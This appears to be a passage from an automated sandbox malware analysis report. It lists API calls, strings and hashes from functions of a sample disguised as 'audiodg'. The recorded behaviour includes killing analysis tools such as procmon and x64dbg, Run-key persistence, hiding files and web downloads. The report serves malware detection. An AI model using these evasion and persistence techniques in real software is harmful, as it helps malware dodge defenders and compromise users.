InternetCloseHandle.WININET ref: 00007FF6FDB51DFD
InternetCloseHandle.WININET ref: 00007FF6FDB51E08
Sleep.KERNEL32 ref: 00007FF6FDB51E13
InternetCloseHandle.WININET ref: 00007FF6FDB51E2D
InternetOpenUrlW.WININET ref: 00007FF6FDB51E57
InternetCloseHandle.WININET ref: 00007FF6FDB51E6F
Sleep.KERNEL32 ref: 00007FF6FDB51E7A
HttpQueryInfoA.WININET ref: 00007FF6FDB51EB2
GetProcessHeap.KERNEL32 ref: 00007FF6FDB51EC1
RtlAllocateHeap.NTDLL ref: 00007FF6FDB51ED7
InternetCloseHandle.WININET ref: 00007FF6FDB51EEF
InternetCloseHandle.WININET ref: 00007FF6FDB51EFA
InternetReadFile.WININET ref: 00007FF6FDB51F37
InternetCloseHandle.WININET ref: 00007FF6FDB51F6D
InternetCloseHandle.WININET ref: 00007FF6FDB51F78

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF6FDB51D19

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocateFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 2307068205-2771526726
Opcode ID: 1d6439b4b7b4c33b889769c58a8dd001a4713a0aee7d85e729a6ddd97db8bc66
Instruction ID: 7661dfc938f8ada60a79021c2789d5e32073673d8576e64d651a58658be4fb43
Opcode Fuzzy Hash: 1d6439b4b7b4c33b889769c58a8dd001a4713a0aee7d85e729a6ddd97db8bc66
Instruction Fuzzy Hash: F171FD76A18A41C2E7508F59F45432AB760FBC6795F901035FA9E83AACEF7DE444CB40

Function 00007FF6FDB546E4 Relevance: 25.7, APIs: 17, Instructions: 155
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FF6FDB5472B
GetFileSize.KERNEL32 ref: 00007FF6FDB5474C
GetProcessHeap.KERNEL32 ref: 00007FF6FDB54762
RtlAllocateHeap.NTDLL ref: 00007FF6FDB5477B
CloseHandle.KERNEL32 ref: 00007FF6FDB54793

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: FileHeap$AllocateCloseCreateHandleProcessSize
String ID:
API String ID: 2693768547-0
Opcode ID: 4e31ffde3c8b45f3337ce6ae119efcfc5e37158fb3e9376a1b8de9c2123a5d47
Instruction ID: 63111283cc8a5e858a568b40b47b83b88c7656047511d31d95ae10bc4c94f7f8
Opcode Fuzzy Hash: 4e31ffde3c8b45f3337ce6ae119efcfc5e37158fb3e9376a1b8de9c2123a5d47
Instruction Fuzzy Hash: CE81E576608B8186DB50CF59F44536AB7A0FBCAB91F504135EA9D83BA8EF7CE4448B40

Function 00007FF6FDB530DC Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FDB545C4: CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53117), ref: 00007FF6FDB5460C
Part of subcall function 00007FF6FDB545C4: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53117), ref: 00007FF6FDB54649
Part of subcall function 00007FF6FDB545C4: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53117), ref: 00007FF6FDB54654

Part of subcall function 00007FF6FDB53B84: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB5311C), ref: 00007FF6FDB53BC7
Part of subcall function 00007FF6FDB53B84: RegSetValueExW.ADVAPI32 ref: 00007FF6FDB53BFD
Part of subcall function 00007FF6FDB53B84: RegCloseKey.ADVAPI32 ref: 00007FF6FDB53C0C

Part of subcall function 00007FF6FDB53C24: RegDeleteKeyW.ADVAPI32 ref: 00007FF6FDB53C3C

Part of subcall function 00007FF6FDB53E24: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6FDB53E37

Part of subcall function 00007FF6FDB53E24: Process32FirstW.KERNEL32 ref: 00007FF6FDB53E6A
Part of subcall function 00007FF6FDB53E24: CloseHandle.KERNEL32 ref: 00007FF6FDB53E7C

Part of subcall function 00007FF6FDB53E24: wcscmp.MSVCRT ref: 00007FF6FDB53E91
Part of subcall function 00007FF6FDB53E24: OpenProcess.KERNEL32 ref: 00007FF6FDB53EA7
Part of subcall function 00007FF6FDB53E24: TerminateProcess.KERNEL32 ref: 00007FF6FDB53ECA
Part of subcall function 00007FF6FDB53E24: CloseHandle.KERNEL32 ref: 00007FF6FDB53ED8
Part of subcall function 00007FF6FDB53E24: Process32NextW.KERNEL32 ref: 00007FF6FDB53EEB
Part of subcall function 00007FF6FDB53E24: CloseHandle.KERNEL32 ref: 00007FF6FDB53EFD

Part of subcall function 00007FF6FDB539B4: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF6FDB53B0C), ref: 00007FF6FDB539E4

Sleep.KERNEL32 ref: 00007FF6FDB531C6

Strings

procmon.exe, xrefs: 00007FF6FDB531A2
x64dbg.exe, xrefs: 00007FF6FDB53172
procexp64.exe, xrefs: 00007FF6FDB5315A
idaq64.exe, xrefs: 00007FF6FDB5317E
idaq.exe, xrefs: 00007FF6FDB5318A
Services, xrefs: 00007FF6FDB531B5
autoruns.exe, xrefs: 00007FF6FDB53196
ProcessHacker.exe, xrefs: 00007FF6FDB53142
procexp.exe, xrefs: 00007FF6FDB5314E
TOTALCMD.exe, xrefs: 00007FF6FDB53166

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: Close$Handle$Open$CreateFileProcessProcess32$AttributesDeleteFirstNextSleepSnapshotTerminateToolhelp32Valuewcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 2853470409-928700279
Opcode ID: 214aab143e36c6a3a1886c25ccf32431eea88663dedd73175290a620f2c5ce1f
Instruction ID: 16f14ca1dcf4758677778976c7a580c41338b4d83982e3b1ecf5cb71a2a80db4
Opcode Fuzzy Hash: 214aab143e36c6a3a1886c25ccf32431eea88663dedd73175290a620f2c5ce1f
Instruction Fuzzy Hash: 302156E0A2854290EB44FF2CD8917B962A0AF56750FD00571E53DC23EEFE2CB9698790

Function 00007FF6FDB538C4 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FDB53744: GetWindowsDirectoryW.KERNEL32 ref: 00007FF6FDB53784
Part of subcall function 00007FF6FDB53744: GetVolumeInformationW.KERNEL32 ref: 00007FF6FDB53801
Part of subcall function 00007FF6FDB53744: wsprintfW.USER32 ref: 00007FF6FDB538A2

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB5390D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53922
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53935
CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53945
SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53958
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB5396D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53980
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53995

Strings

.exe, xrefs: 00007FF6FDB53986

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: 4d26158de2af8381748b2d04efe2df67fec403f4766650bccdbd64d4b22479f1
Instruction ID: 5263f78e868254d5b3ecd22ebcbaddfb76b744c0016c41493aaffd35b6e7a715
Opcode Fuzzy Hash: 4d26158de2af8381748b2d04efe2df67fec403f4766650bccdbd64d4b22479f1
Instruction Fuzzy Hash: AD1133617289C685DB60DF29F85476A7361FBC5B80F905031DA5E83AADFE3CE405C780

Function 00007FF6FDB52E6C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32 ref: 00007FF6FDB52E85
ReleaseMutex.KERNEL32 ref: 00007FF6FDB52E9D
CloseHandle.KERNEL32 ref: 00007FF6FDB52EA8
GetLastError.KERNEL32 ref: 00007FF6FDB52EB5
ReleaseMutex.KERNEL32 ref: 00007FF6FDB52EC7
CloseHandle.KERNEL32 ref: 00007FF6FDB52ED2

Strings

rbNSpGEsyb, xrefs: 00007FF6FDB52E70

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: c0b91fde05768c042ee2ac6d43adbd0a2db16a5cee25255770f8e6d070b9d3af
Instruction ID: 71a55892cb841e2ef39df32023a773600729b9e040b5a92c1d1baf51eb747c60
Opcode Fuzzy Hash: c0b91fde05768c042ee2ac6d43adbd0a2db16a5cee25255770f8e6d070b9d3af
Instruction Fuzzy Hash: 08010066A0CA4182E730AF29E8483697771FBC9B65F940131D95EC26B8FF3CF5868640

Function 00007FF6FDB53E24 Relevance: 13.5, APIs: 9, Instructions: 44
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6FDB53E37
Process32FirstW.KERNEL32 ref: 00007FF6FDB53E6A
CloseHandle.KERNEL32 ref: 00007FF6FDB53E7C

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 5d86f73275321031dd76b49c9948b61abcc843b1cbc31f42c8ec41072895b809
Instruction ID: 748a31a7911445494c2d3ee879403bb70c59a96dc25fe3d6fdb2037d251955d9
Opcode Fuzzy Hash: 5d86f73275321031dd76b49c9948b61abcc843b1cbc31f42c8ec41072895b809
Instruction Fuzzy Hash: F321D071A1CA8681E7709F19E84836AB3A0FBC5754F904235D56E826ECFF3DE455CB80

Function 00007FF6FDB52F0C Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF6FDB52F1E
ReleaseMutex.KERNEL32 ref: 00007FF6FDB52F36
CloseHandle.KERNEL32 ref: 00007FF6FDB52F41
GetLastError.KERNEL32 ref: 00007FF6FDB52F4E
ReleaseMutex.KERNEL32 ref: 00007FF6FDB52F60
CloseHandle.KERNEL32 ref: 00007FF6FDB52F6B

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: 8653a772b6c1b6a01af8be04a7d1a20e2c03a294286a54eab86cbb4ac1353a7c
Instruction ID: c0614176c4a99e4a5f619819a67f41492dac7bcd77ea6e0f3def50b478571edc
Opcode Fuzzy Hash: 8653a772b6c1b6a01af8be04a7d1a20e2c03a294286a54eab86cbb4ac1353a7c
Instruction Fuzzy Hash: 10010C66A1CA41C2E720AF25F85832D7370FBCAB54F900131E99EC26ACFE2CE5458640

Function 00007FF6FDB53CE4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF6FDB53D01
PathFindFileNameW.SHLWAPI ref: 00007FF6FDB53D14
wcslen.MSVCRT ref: 00007FF6FDB53D2A
wcsncpy.MSVCRT ref: 00007FF6FDB53DEF

Strings

Unknown, xrefs: 00007FF6FDB53DE0

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: f2d689744fc7b439bf53b695258597b9eba8ab60145e53c7feb69784c68e6deb
Instruction ID: 8322d1c12d68a71d46b9f01d43e088f7dbe2295dddbd74a4a06d97064c6450ea
Opcode Fuzzy Hash: f2d689744fc7b439bf53b695258597b9eba8ab60145e53c7feb69784c68e6deb
Instruction Fuzzy Hash: 4A31A77661CAC485D7709F19E4987AAB3A0F789740F800225DA9DC3BA8EF3DD554CB40

Function 00007FF6FDB53A74 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FDB53744: GetWindowsDirectoryW.KERNEL32 ref: 00007FF6FDB53784
Part of subcall function 00007FF6FDB53744: GetVolumeInformationW.KERNEL32 ref: 00007FF6FDB53801
Part of subcall function 00007FF6FDB53744: wsprintfW.USER32 ref: 00007FF6FDB538A2

Part of subcall function 00007FF6FDB538C4: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB5390D
Part of subcall function 00007FF6FDB538C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53922
Part of subcall function 00007FF6FDB538C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53935
Part of subcall function 00007FF6FDB538C4: CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53945
Part of subcall function 00007FF6FDB538C4: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53958
Part of subcall function 00007FF6FDB538C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB5396D
Part of subcall function 00007FF6FDB538C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53980
Part of subcall function 00007FF6FDB538C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53995

GetModuleFileNameW.KERNEL32 ref: 00007FF6FDB53AB9
DeleteFileW.KERNEL32 ref: 00007FF6FDB53AC4
CopyFileW.KERNEL32 ref: 00007FF6FDB53ADD
SetFileAttributesW.KERNEL32 ref: 00007FF6FDB53AF5

Strings

Services, xrefs: 00007FF6FDB53B00

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: Filelstrcat$AttributesDirectory$CopyCreateDeleteFolderInformationModuleNamePathVolumeWindowswsprintf
String ID: Services
API String ID: 3209240227-2319745855
Opcode ID: cabd95d3c80652fe8b367c9eb5d64b267906483226546c4ea9003bdd6899bef0
Instruction ID: db6b48fe8eba5e2ede7734aeda1fbe641257d110543d8fec67587f88c91473f9
Opcode Fuzzy Hash: cabd95d3c80652fe8b367c9eb5d64b267906483226546c4ea9003bdd6899bef0
Instruction Fuzzy Hash: 8A0188A1B1858252DB60EF28E4543AA6360FB95744FC04031D25DC37ECFE2DE14DCB80

Function 00007FF6FDB53B84 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB5311C), ref: 00007FF6FDB53BC7
RegSetValueExW.ADVAPI32 ref: 00007FF6FDB53BFD
RegCloseKey.ADVAPI32 ref: 00007FF6FDB53C0C

Strings

Hidden, xrefs: 00007FF6FDB53B94
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00007FF6FDB53B88

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: CloseOpenValue
String ID: Hidden$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 779948276-85274793
Opcode ID: 7060d5503734189d45e9b87f1606f2d82071d756b948eb52710f5919d09f1e4f
Instruction ID: 71d0681f09c2dba22b543448930a32ac3fe7e174ffd2831e801407f75f387f0e
Opcode Fuzzy Hash: 7060d5503734189d45e9b87f1606f2d82071d756b948eb52710f5919d09f1e4f
Instruction Fuzzy Hash: 1A012976618B808AD7909F18F44471AB774F789794F801225EB9D83BA8EF7DD144CB40

Function 00007FF6FDB54004 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6FDB54022
Process32FirstW.KERNEL32 ref: 00007FF6FDB54054
wcscmp.MSVCRT ref: 00007FF6FDB5406B
CloseHandle.KERNEL32 ref: 00007FF6FDB540A1

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 63e5253a01a862d048e65b759e2ae1b9c40c069b321cf87a3327907f1e8bf356
Instruction ID: b0c729d683ba21954be6b6030d57ddb26945fa4285959d4745612288422e6a27
Opcode Fuzzy Hash: 63e5253a01a862d048e65b759e2ae1b9c40c069b321cf87a3327907f1e8bf356
Instruction Fuzzy Hash: 9311B1B1A0C68681E7709F15E44836A73A0FB85754F944335D6AD826DCFF3DE505DB40

Function 00007FF6FDB53744 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF6FDB53784
GetVolumeInformationW.KERNEL32 ref: 00007FF6FDB53801
wsprintfW.USER32 ref: 00007FF6FDB538A2

Strings

%08lX%04lX%lu, xrefs: 00007FF6FDB53893

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 740950ab7a4208dc5b437e8a53e5df2709b55f7c6f134fefe08efd8bb3628865
Instruction ID: c0c3ee1bd370ea325077beeb67d4d3ccc5c60224d203889877dbe02b42d67d87
Opcode Fuzzy Hash: 740950ab7a4208dc5b437e8a53e5df2709b55f7c6f134fefe08efd8bb3628865
Instruction Fuzzy Hash: ED31056662C6C186DB30DF64E4987AAB3A0FB85700F900126E69DC3A98EF7DD409CF40

Function 00007FF6FDB539B4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF6FDB53B0C), ref: 00007FF6FDB539E4
RegSetValueExW.ADVAPI32 ref: 00007FF6FDB53A39
RegCloseKey.ADVAPI32 ref: 00007FF6FDB53A48

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF6FDB539D6

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: CloseOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 779948276-1428018034
